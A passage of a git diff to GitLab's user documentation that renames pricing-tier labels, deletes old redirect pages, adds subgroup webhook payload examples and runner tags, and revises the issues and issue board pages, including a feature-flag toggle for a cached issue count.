location](../../../operations/metrics/dashboards/yaml_number_format.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/services_templates.md b/doc/user/project/integrations/services_templates.md index a60af93a899..7507792bb02 100644 --- a/doc/user/project/integrations/services_templates.md +++ b/doc/user/project/integrations/services_templates.md @@ -6,6 +6,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Service templates +WARNING: +Service templates are [deprecated and scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032) +in GitLab 14.0. Use [project integration management](#central-administration-of-project-integrations) instead. + Using a service template, GitLab administrators can: - Provide default values for configuring integrations when creating new projects. diff --git a/doc/user/project/integrations/slack.md b/doc/user/project/integrations/slack.md index 9e9f5b8297f..ab798675278 100644 --- a/doc/user/project/integrations/slack.md +++ b/doc/user/project/integrations/slack.md @@ -45,6 +45,7 @@ separately configured [Slack slash commands](slack_slash_commands.md). 1. Select the **Notify only broken pipelines** check box to only notify on failures. 1. In the **Branches to be notified** select box, choose which types of branches to send notifications for. +1. Leave the **Labels to be notified** field blank to get all notifications or add labels that the issue or merge request must have in order to trigger a notification. 1. Click **Test settings and save changes**. Your Slack team now starts receiving GitLab event notifications as configured. diff --git a/doc/user/project/integrations/slack_slash_commands.md b/doc/user/project/integrations/slack_slash_commands.md index 1e4577fb88e..4f206cd3e45 100644 --- a/doc/user/project/integrations/slack_slash_commands.md +++ b/doc/user/project/integrations/slack_slash_commands.md @@ -4,7 +4,7 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Slack slash commands **(CORE ONLY)** +# Slack slash commands **(FREE SELF)** > Introduced in GitLab 8.15. diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md index 47a44e53b47..0cf01adef13 100644 --- a/doc/user/project/integrations/webhooks.md +++ b/doc/user/project/integrations/webhooks.md @@ -31,7 +31,7 @@ update a backup mirror, or even deploy to your production server. Webhooks are available: -- Per project, at a project's **Settings > Webhooks** menu. **(CORE)** +- Per project, at a project's **Settings > Webhooks** menu. **(FREE)** - Additionally per group, at a group's **Settings > Webhooks** menu. **(PREMIUM)** NOTE: @@ -1029,6 +1029,9 @@ X-Gitlab-Event: Wiki Page Hook ### Pipeline events +In [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53159) +and later, the pipeline webhook returns only the latest jobs. + Triggered on status change of Pipeline. **Request Header**: @@ -1151,10 +1154,15 @@ X-Gitlab-Event: Pipeline Hook "email": "admin@example.com" }, "runner": { - "id":380987, - "description":"shared-runners-manager-6.gitlab.com", - "active":true, - "is_shared":true + "id": 380987, + "description": "shared-runners-manager-6.gitlab.com", + "active": true, + "is_shared": true, + "tags": [ + "linux", + "docker", + "shared-runner" + ] }, "artifacts_file":{ "filename": null, @@ -1183,7 +1191,11 @@ X-Gitlab-Event: Pipeline Hook "id":380987, "description":"shared-runners-manager-6.gitlab.com", "active":true, - "is_shared":true + "is_shared":true, + "tags": [ + "linux", + "docker" + ] }, "artifacts_file":{ "filename": null, @@ -1209,10 +1221,14 @@ X-Gitlab-Event: Pipeline Hook "email": "admin@example.com" }, "runner": { - "id":380987, - "description":"shared-runners-manager-6.gitlab.com", - "active":true, - "is_shared":true + "id": 380987, + "description": "shared-runners-manager-6.gitlab.com", + "active": true, + "is_shared": true, + "tags": [ + "linux", + "docker" + ] }, "artifacts_file":{ "filename": null, @@ -1308,7 +1324,11 @@ X-Gitlab-Event: Job Hook "active": true, "is_shared": false, "id": 380987, - "description": "shared-runners-manager-6.gitlab.com" + "description": "shared-runners-manager-6.gitlab.com", + "tags": [ + "linux", + "docker" + ] } } ``` @@ -1468,6 +1488,74 @@ X-Gitlab-Event: Member Hook } ``` +### Subgroup events **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/260419) in GitLab 13.9. + +Subgroup events are triggered when: + +- A [subgroup is created in a group](#subgroup-created-in-a-group) +- A [subgroup is removed from a group](#subgroup-removed-from-a-group) + +#### Subgroup created in a group + +**Request Header**: + +```plaintext +X-Gitlab-Event: Subgroup Hook +``` + +**Request Body**: + +```json +{ + + "created_at": "2021-01-20T09:40:12Z", + "updated_at": "2021-01-20T09:40:12Z", + "event_name": "subgroup_create", + "name": "subgroup1", + "path": "subgroup1", + "full_path": "group1/subgroup1", + "group_id": 10, + "parent_group_id": 7, + "parent_name": "group1", + "parent_path": "group1", + "parent_full_path": "group1" + +} +``` + +#### Subgroup removed from a group + +**Request Header**: + +```plaintext +X-Gitlab-Event: Subgroup Hook +``` + +**Request Body**: + +```json +{ + + "created_at": "2021-01-20T09:40:12Z", + "updated_at": "2021-01-20T09:40:12Z", + "event_name": "subgroup_destroy", + "name": "subgroup1", + "path": "subgroup1", + "full_path": "group1/subgroup1", + "group_id": 10, + "parent_group_id": 7, + "parent_name": "group1", + "parent_path": "group1", + "parent_full_path": "group1" + +} +``` + +NOTE: +Webhooks for when a [subgroup is removed from a group](#subgroup-removed-from-a-group) are not triggered when a [subgroup is transferred to a new parent group](../../group/index.md#transferring-groups) + ### Feature Flag events Triggered when a feature flag is turned on or off. diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md index 7119970fca0..e4f42b97b84 100644 --- a/doc/user/project/issue_board.md +++ b/doc/user/project/issue_board.md @@ -4,9 +4,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Issue Boards **(CORE)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5554) in [GitLab 8.11](https://about.gitlab.com/releases/2016/08/22/gitlab-8-11-released/#issue-board). +# Issue Boards **(FREE)** The GitLab Issue Board is a software project management tool used to plan, organize, and visualize a workflow for a feature or product release. @@ -38,10 +36,9 @@ as shown in the following table: | Tier | Number of project issue boards | Number of [group issue boards](#group-issue-boards) | [Configurable issue boards](#configurable-issue-boards) | [Assignee lists](#assignee-lists) | |------------------|--------------------------------|------------------------------|---------------------------|----------------| -| Core / Free | Multiple | 1 | No | No | -| Starter / Bronze | Multiple | 1 | Yes | No | -| Premium / Silver | Multiple | Multiple | Yes | Yes | -| Ultimate / Gold | Multiple | Multiple | Yes | Yes | +| Free | Multiple | 1 | No | No | +| Premium | Multiple | Multiple | Yes | Yes | +| Ultimate | Multiple | Multiple | Yes | Yes | To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enterprise-features-for-issue-boards) below. @@ -53,11 +50,10 @@ the Issue Board feature. ## Multiple issue boards -> - [Introduced](https://about.gitlab.com/releases/2016/10/22/gitlab-8-13-released/) in GitLab 8.13. -> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 12.1. -> - Multiple issue boards per group are available in [GitLab Premium](https://about.gitlab.com/pricing/). +> - Multiple issue boards per project [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53811) to GitLab Free in 12.1. +> - Multiple issue boards per group are available in GitLab Premium. -Multiple issue boards allow for more than one issue board for a given project **(CORE)** or group **(PREMIUM)**. +Multiple issue boards allow for more than one issue board for a given project **(FREE)** or group **(PREMIUM)**. This is great for large projects with more than one team or when a repository hosts the code of multiple products. Using the search box at the top of the menu, you can filter the listed boards. @@ -228,13 +224,13 @@ and vice versa. ## GitLab Enterprise features for issue boards -GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some +GitLab issue boards are available on the GitLab Free tier, but some advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/). -### Configurable issue boards **(STARTER)** +### Configurable issue boards **(PREMIUM)** -> - [Introduced](https://about.gitlab.com/releases/2017/11/22/gitlab-10-2-released/#issue-boards-configuration) in GitLab 10.2. > - Setting current iteration as scope [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196804) in GitLab 13.8. +> - Moved to GitLab Premium in 13.9. An issue board can be associated with a [milestone](milestones/index.md#milestones), [labels](labels.md), assignee, weight, and current [iteration](../group/iterations/index.md), @@ -257,14 +253,15 @@ the Configurable Issue Board feature. ### Focus mode -> - [Introduced]((https://about.gitlab.com/releases/2017/04/22/gitlab-9-1-released/#issue-boards-focus-mode-ees-eep)) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.1. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28597) to the Free tier of GitLab.com in 12.10. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212331) to GitLab Core in 13.0. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28597) to GitLab Free SaaS in 12.10. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212331) to GitLab Free self-managed in 13.0. To enable or disable focus mode, select the **Toggle focus mode** button (**{maximize}**) at the top right. In focus mode, the navigation UI is hidden, allowing you to focus on issues in the board. -### Sum of issue weights **(STARTER)** +### Sum of issue weights **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. The top of each list indicates the sum of issue weights for the issues that belong to that list. This is useful when using boards for capacity allocation, @@ -274,9 +271,6 @@ especially in combination with [assignee lists](#assignee-lists). ### Group issue boards **(PREMIUM)** -> - One group issue board per group introduced in GitLab 10.6. -> - Multiple group issue boards [introduced](https://about.gitlab.com/releases/2017/09/22/gitlab-10-0-released/#group-issue-boards) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.0. - Accessible at the group navigation level, a group issue board offers the same features as a project-level board. It can display issues from all projects in that group and its descendant subgroups. Similarly, you can only filter by group labels for these @@ -360,9 +354,10 @@ You can also [drag issues](#drag-issues-between-lists) to change their position  -## Work In Progress limits **(STARTER)** +## Work In Progress limits **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11403) in GitLab 12.7 +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11403) in GitLab 12.7 +> - Moved to GitLab Premium in 13.9. You can set a Work In Progress (WIP) limit for each issue list on an issue board. When a limit is set, the list's header shows the number of issues in the list and the soft limit of issues. @@ -435,13 +430,13 @@ To remove a list from an issue board: 1. Select **Remove list**. A confirmation dialog appears. 1. Select **OK**. -### Add issues to a list **(CORE ONLY)** +### Add issues to a list **(FREE SELF)** > - Feature flag [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47898) in GitLab 13.7. > - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. > - It's disabled on GitLab.com. > - It's recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-adding-issues-to-the-list). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-adding-issues-to-the-list). **(FREE SELF)** You can add issues to a list in a project issue board by clicking the **Add issues** button in the top right corner of the issue board. This opens up a modal @@ -461,7 +456,7 @@ the list by filtering by the following: - Release - Weight -#### Enable or disable adding issues to the list **(CORE ONLY)** +#### Enable or disable adding issues to the list **(FREE SELF)** Adding issues to the list is deployed behind a feature flag that is **disabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) @@ -547,8 +542,8 @@ to another list, the label changes and a system note is recorded. When dragging issues between lists, different behavior occurs depending on the source list and the target list. -| | To Open | To Closed | To label `B` list | To assignee `Bob` list | -|----------------------------|--------------------|--------------|------------------------------|---------------------------------------| +| | To Open | To Closed | To label `B` list | To assignee `Bob` list | +| ------------------------------ | ------------------ | ------------ | ---------------------------- | ------------------------------------- | | **From Open** | - | Issue closed | `B` added | `Bob` assigned | | **From Closed** | Issue reopened | - | Issue reopened<br/>`B` added | Issue reopened<br/>`Bob` assigned | | **From label `A` list** | `A` removed | Issue closed | `A` removed<br/>`B` added | `Bob` assigned | @@ -563,7 +558,7 @@ another list. This makes it faster to reorder many issues at once. To select and move multiple cards: -1. Select each card with <kbd>Ctrl</kbd>+`Click` on Windows or Linux, or <kbd>Cmd</kbd>+`Click` on MacOS. +1. Select each card with <kbd>Control</kbd>+`Click` on Windows or Linux, or <kbd>Command</kbd>+`Click` on MacOS. 1. Drag one of the selected cards to another position or list and all selected cards are moved.  diff --git a/doc/user/project/issues/automatic_issue_closing.md b/doc/user/project/issues/automatic_issue_closing.md deleted file mode 100644 index 6fa2822aa9a..00000000000 --- a/doc/user/project/issues/automatic_issue_closing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'managing_issues.md#closing-issues-automatically' ---- - -This document was moved to [another location](managing_issues.md#closing-issues-automatically). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/closing_issues.md b/doc/user/project/issues/closing_issues.md deleted file mode 100644 index 45b905f2fb5..00000000000 --- a/doc/user/project/issues/closing_issues.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'managing_issues.md#closing-issues' ---- - -This document was moved to [another location](managing_issues.md#closing-issues). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md index d4fbc4fb10b..e1918b68ddc 100644 --- a/doc/user/project/issues/confidential_issues.md +++ b/doc/user/project/issues/confidential_issues.md @@ -99,9 +99,9 @@ confidential information prematurely. To make a confidential commit public, open a merge request from the private fork to the public upstream project. Permissions are inherited from parent groups. Developers have the same permissions -for private forks created in the same group or in a sub-group of the original +for private forks created in the same group or in a subgroup of the original Permissions are inherited from parent groups. When private forks are created -in the same group or sub-group as the original upstream repository, users +in the same group or subgroup as the original upstream repository, users receive the same permissions in both projects. This inheritance ensures Developer users have the needed permissions to both view confidential issues and resolve them. diff --git a/doc/user/project/issues/create_new_issue.md b/doc/user/project/issues/create_new_issue.md deleted file mode 100644 index 53648b53ea3..00000000000 --- a/doc/user/project/issues/create_new_issue.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'managing_issues.md#create-a-new-issue' ---- - -This document was moved to [another location](managing_issues.md#create-a-new-issue). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/csv_export.md b/doc/user/project/issues/csv_export.md index e7cd1377603..5c95665230a 100644 --- a/doc/user/project/issues/csv_export.md +++ b/doc/user/project/issues/csv_export.md @@ -6,8 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Export Issues to CSV -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1126) in [GitLab Starter 9.0](https://about.gitlab.com/releases/2017/03/22/gitlab-9-0-released/#export-issues-ees-eep). -> - Moved to GitLab Core in GitLab 12.10. +> Moved to GitLab Free in 12.10. Issues can be exported as CSV from GitLab and are sent to your default notification email as an attachment. @@ -20,7 +19,7 @@ which stores tabular data in plain text. > _CSVs are a handy way of getting data from one program to another where one program cannot read the other ones normal output._ [Ref](https://www.quora.com/What-is-a-CSV-file-and-its-uses) CSV files can be used with any plotter or spreadsheet-based program, such as Microsoft Excel, -Open Office Calc, or Google Spreadsheets. +Open Office <!-- vale gitlab.Spelling = NO --> Calc, <!-- vale gitlab.Spelling = NO --> or Google Spreadsheets. ## Use cases @@ -49,10 +48,6 @@ Exported issues are always sorted by `Issue ID`. ## Format -> **Time Estimate** and **Time Spent** columns were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2627) in GitLab Starter 10.0. -> -> **Weight** and **Locked** columns were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5300) in GitLab Starter 10.8. - Data is encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. The first row contains the headers, which are listed in the following table along with a description of the values: | Column | Description | diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md index 0d10f028cbf..2757642e458 100644 --- a/doc/user/project/issues/csv_import.md +++ b/doc/user/project/issues/csv_import.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Manage +group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -9,7 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23532) in GitLab 11.7. Issues can be imported to a project by uploading a CSV file with the columns -`title` and `description`. +`title` and `description`. Other columns are **not** imported. If you want to +retain columns such as labels and milestones, consider the [Move Issue feature](managing_issues.md#moving-issues). The user uploading the CSV file is set as the author of the imported issues. diff --git a/doc/user/project/issues/deleting_issues.md b/doc/user/project/issues/deleting_issues.md deleted file mode 100644 index d8e1485a2dc..00000000000 --- a/doc/user/project/issues/deleting_issues.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'managing_issues.md#deleting-issues' ---- - -This document was moved to [another location](managing_issues.md#deleting-issues). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md index 3739070be01..b6dff0842d8 100644 --- a/doc/user/project/issues/design_management.md +++ b/doc/user/project/issues/design_management.md @@ -1,14 +1,14 @@ --- -stage: Create -group: Knowledge +stage: Plan +group: Product Planning info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" --- -# Design Management **(CORE)** +# Design Management **(FREE)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/660) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2. > - Support for SVGs was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12771) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.4. -> - Design Management was [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212566) to GitLab Core in 13.0. +> - Design Management was [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212566) to GitLab Free in 13.0. Design Management allows you to upload design assets (wireframes, mockups, etc.) to GitLab issues and keep them stored in one single place, accessed by the Design @@ -46,7 +46,7 @@ If the requirements are not met, the **Designs** tab displays a message to the u ## Supported files Files uploaded must have a file extension of either `png`, `jpg`, `jpeg`, -`gif`, `bmp`, `tiff`, `ico`, or `svg`. +`gif`, `bmp`, `tiff`, `ico`, `webp`, or `svg`. Support for [PDF](https://gitlab.com/gitlab-org/gitlab/issues/32811) is planned for a future release. @@ -259,4 +259,4 @@ This will be rendered as: User activity events on designs (creation, deletion, and updates) are tracked by GitLab and displayed on the [user profile](../../profile/index.md#user-profile), [group](../../group/index.md#view-group-activity), -and [project](../index.md#project-activity) activity pages. +and [project](../working_with_projects.md#project-activity) activity pages. diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md index 34e9340067c..909a20f0e2f 100644 --- a/doc/user/project/issues/due_dates.md +++ b/doc/user/project/issues/due_dates.md @@ -41,7 +41,7 @@ You can see issues with their due dates in the [issues list](index.md#issues-lis Overdue issues have their icon and date colored red. To sort issues by their due dates, select **Due date** from the dropdown menu on the right. Issues are then sorted from the earliest due date to the latest. -To display isses with the latest due dates at the top, select **Sort direction** (**{sort-lowest}**). +To display issues with the latest due dates at the top, select **Sort direction** (**{sort-lowest}**). Due dates also appear in your [to-do list](../../todos.md). diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md index 74311eefd83..e398c6f86d0 100644 --- a/doc/user/project/issues/index.md +++ b/doc/user/project/issues/index.md @@ -4,35 +4,29 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Issues **(CORE)** +# Issues **(FREE)** -Issues are the fundamental medium for collaborating on ideas and planning work in GitLab. +Issues are the fundamental mechanism in GitLab to collaborate on ideas, solve +problems, and plan work. -## Overview +Using issues, you can share and discuss proposals (both before and during their +implementation) between you and your team, and outside collaborators. -The GitLab issue tracker is an advanced tool for collaboratively developing ideas, solving problems, -and planning work. +You can use issues for many purposes, customized to your needs and workflow. +Common use cases include: -Issues can allow sharing and discussion of proposals before, and during, -their implementation between: +- Discussing the implementation of a new idea. +- Tracking tasks and work status. +- Accepting feature proposals, questions, support requests, or bug reports. +- Elaborating on new code implementations. -- You and your team. -- Outside collaborators. +For more information about using issues, see the +[Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/) +GitLab blog post. -They can also be used for a variety of other purposes, customized to your -needs and workflow. - -Issues are always associated with a specific project. If you have multiple projects in a group, -you can view all of the issues collectively at the group level. - -**Common use cases include:** - -- Discussing the implementation of a new idea -- Tracking tasks and work status -- Accepting feature proposals, questions, support requests, or bug reports -- Elaborating on new code implementations - -See also [Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/). +Issues are always associated with a specific project. If you have multiple +projects in a group, you can view all of the issues collectively at the group +level. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> To learn how our Strategic Marketing department uses GitLab issues with [labels](../labels.md) and @@ -41,63 +35,30 @@ To learn how our Strategic Marketing department uses GitLab issues with [labels] ## Parts of an issue -Issues contain a variety of content and metadata, enabling a large range of flexibility -in how they are used. Each issue can contain the following attributes, though not all items -must be set. - -<table class="borderless-table fixed-table"> -<tr> - <td> - <ul> - <li>Content</li> - <ul> - <li>Title</li> - <li>Description and tasks</li> - <li>Comments and other activity</li> - </ul> - <li>People</li> - <ul> - <li>Author</li> - <li>Assignee(s)</li> - </ul> - <li>State</li> - <ul> - <li>State (open or closed)</li> - <li>Health status (on track, needs attention, or at risk)</li> - <li>Confidentiality</li> - <li>Tasks (completed vs. outstanding)</li> - </ul> - </ul> - </td> - <td> - <ul> - <li>Planning and tracking</li> - <ul> - <li>Milestone</li> - <li>Due date</li> - <li>Weight</li> - <li>Time tracking</li> - <li>Labels</li> - <li>Votes</li> - <li>Reaction emoji</li> - <li>Linked issues</li> - <li>Assigned epic</li> - <li>Unique issue number and URL</li> - </ul> - </ul> - </td> -</tr> -</table> - -## Viewing and managing issues - -While you can view and manage details of an issue on the [issue page](#issue-page), -you can also work with multiple issues at a time using: - -- [Issues List](#issues-list). -- [Issue Boards](#issue-boards). -- Issue references. -- [Epics](#epics) **(PREMIUM)**. +Issues have a flexible content and metadata structure. Here are some of the +elements you can provide in an issue: + +- Title +- Description and tasks +- Comments and other activity +- Author +- Assignees +- State (open or closed) +- Health status (on track, needs attention, or at risk) +- Confidentiality +- Tasks (completed vs. outstanding) +- Milestone +- Due date +- Weight +- Time tracking +- Labels +- Votes +- Reaction emoji +- Linked issues +- Assigned epic +- Unique issue number and URL + +## View and manage issues Key actions for issues include: @@ -105,7 +66,17 @@ Key actions for issues include: - [Moving issues](managing_issues.md#moving-issues) - [Closing issues](managing_issues.md#closing-issues) - [Deleting issues](managing_issues.md#deleting-issues) -- [Promoting issues](managing_issues.md#promote-an-issue-to-an-epic) **(PREMIUM)** +- [Promoting issues](managing_issues.md#promote-an-issue-to-an-epic) + +Although you can view and manage details of an issue on the [issue page](#issue-page), +you can also work with several issues at a time by using these features: + +- [Issues List](#issues-list): View a list of issues in a project or group. +- [Issue Boards](../issue_board.md): Organize issues with a project management + workflow for a feature or product release. +- Issue references +- [Epics](../../group/epics/index.md): Manage your portfolio of projects by + tracking groups of issues with a shared theme. ### Issue page @@ -114,18 +85,18 @@ Key actions for issues include: On an issue's page, you can view [all aspects of the issue](issue_data_and_actions.md), and modify them if you have the necessary [permissions](../../permissions.md). -#### Real-time sidebar **(CORE ONLY)** +#### Real-time sidebar **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17589) in GitLab 13.3. Assignees in the sidebar are updated in real time. This feature is **disabled by default**. -To enable, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html). +To enable it, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html). ### Issues List  -On the Issues List, you can: +In the Issues List, you can: - View all issues in a project when opening the Issues List from a project context. - View all issues in a groups's projects when opening the Issues List from a group context. @@ -137,20 +108,22 @@ view, you can also make certain changes [in bulk](../bulk_editing.md) to the dis For more information, see the [Issue Data and Actions](issue_data_and_actions.md) page for a rundown of all the fields and information in an issue. -You can sort a list of issues in several ways, for example by issue creation date, milestone due date. For more information, see the [Sorting and Ordering Issue Lists](sorting_issue_lists.md) page. +You can sort a list of issues in several ways, for example by issue creation date, milestone due date. +For more information, see the [Sorting and ordering issue lists](sorting_issue_lists.md) page. -### Issue boards +#### Cached issue count - +> - [Introduced]([link-to-issue](https://gitlab.com/gitlab-org/gitlab/-/issues/243753)) in GitLab 13.9. +> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use this feature in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cached-issue-count) **(FREE SELF)** -[Issue boards](../issue_board.md) are Kanban boards with columns that display issues based on their -labels or their assignees**(PREMIUM)**. They offer the flexibility to manage issues using -highly customizable workflows. +WARNING: +This feature might not be available to you. Check the **version history** note above for details. -You can reorder issues in the column. If you drag an issue card to another column, its -associated label or assignee is changed to match that of the new column. The entire -board can also be filtered to only include issues from a certain milestone or an overarching -label. +In a group, the sidebar displays the total count of open issues and this value is cached if higher +than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours. ### Design Management @@ -158,12 +131,6 @@ With [Design Management](design_management.md), you can upload design assets to issues and view them all together for sharing and collaboration with your team. -### Epics **(PREMIUM)** - -[Epics](../../group/epics/index.md) let you manage your portfolio of projects more -efficiently and with less effort. Epics track groups of issues that share a theme, across -projects and milestones. - ### Related issues You can mark two issues as related, so that when viewing one, the other is always @@ -226,3 +193,22 @@ You can then see issue statuses in the [issue list](#issues-list) and the - [Issues API](../../../api/issues.md) - Configure an [external issue tracker](../../../integration/external-issue-tracker.md) such as Jira, Redmine, Bugzilla, or EWM. + +## Enable or disable cached issue count **(FREE SELF)** + +Cached issue count in the left sidebar is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:cached_sidebar_open_issues_count) +``` + +To disable it: + +```ruby +Feature.disable(:cached_sidebar_open_issues_count) +``` diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md index 4c8630581f5..c3adce33826 100644 --- a/doc/user/project/issues/issue_data_and_actions.md +++ b/doc/user/project/issues/issue_data_and_actions.md @@ -23,13 +23,13 @@ The numbers in the image correspond to the following features: - **1.** [Issue actions](#issue-actions) - **2.** [To Do](#to-do) - **3.** [Assignee](#assignee) - - **3.1.** [Multiple Assignees **(STARTER)**](#multiple-assignees) -- **4.** [Epic **(PREMIUM)**](#epic) + - **3.1.** [Multiple Assignees](#multiple-assignees) +- **4.** [Epic](#epic) - **5.** [Milestone](#milestone) - **6.** [Time tracking](#time-tracking) - **7.** [Due date](#due-date) - **8.** [Labels](#labels) -- **9.** [Weight **(STARTER)**](#weight) +- **9.** [Weight](#weight) - **10.** [Confidentiality](#confidentiality) - **11.** [Lock issue](#lock-issue) - **12.** [Participants](#participants) @@ -86,7 +86,7 @@ An issue can be assigned to: - Yourself. - Another person. -- [Many people](#multiple-assignees). **(STARTER)** +- [Many people](#multiple-assignees). **(PREMIUM)** The assignees can be changed as often as needed. The idea is that the assignees are responsible for that issue until it's reassigned to someone else to take it from there. @@ -96,7 +96,7 @@ NOTE: If a user is not member of that project, it can only be assigned to them if they created the issue themselves. -#### Multiple Assignees **(STARTER)** +#### Multiple Assignees **(PREMIUM)** Often, multiple people work on the same issue together. This can be difficult to track in large teams where there is shared ownership of an issue. @@ -129,7 +129,7 @@ element. Due dates can be changed as many times as needed. ### Labels Categorize issues by giving them [labels](../labels.md). They help to organize workflows, -and they enable you to work with the [GitLab Issue Board](index.md#issue-boards). +and they enable you to work with the [GitLab Issue Board](../issue_board.md). Group Labels, which allow you to use the same labels for all projects in the same group, can also be given to issues. They work exactly the same, but are immediately @@ -138,7 +138,7 @@ available to all projects in the group. If a label doesn't exist yet, you can create one by clicking **Edit** followed by **Create new label** in the dropdown menu. -### Weight **(STARTER)** +### Weight **(PREMIUM)** [Assign a weight](issue_weight.md) to an issue. Larger values are used to indicate more effort is required to complete the issue. Only @@ -161,14 +161,9 @@ or were mentioned in the description or threads. ### Notifications -Click on the icon to enable/disable [notifications](../../profile/notifications.md#issue--epics--merge-request-events) +Select the toggle to enable or disable [notifications](../../profile/notifications.md#notifications-on-issues-merge-requests-and-epics) for the issue. Notifications are automatically enabled after you participate in the issue in any way. -- **Enable**: If you are not a participant in the discussion on that issue, but - want to receive notifications on each update, subscribe to it. -- **Disable**: If you are receiving notifications for updates to that issue but no - longer want to receive them, unsubscribe from it. - ### Reference - A quick "copy" button for that issue's reference, which looks like @@ -194,13 +189,14 @@ The plain text title and description of the issue fill the top center of the iss The description fully supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown-gfm), allowing many formatting options. -> [In GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) and later, changes to an issue's description are listed in the [issue history](#issue-history). **(STARTER)** +[In GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) and later, changes to an +issue's 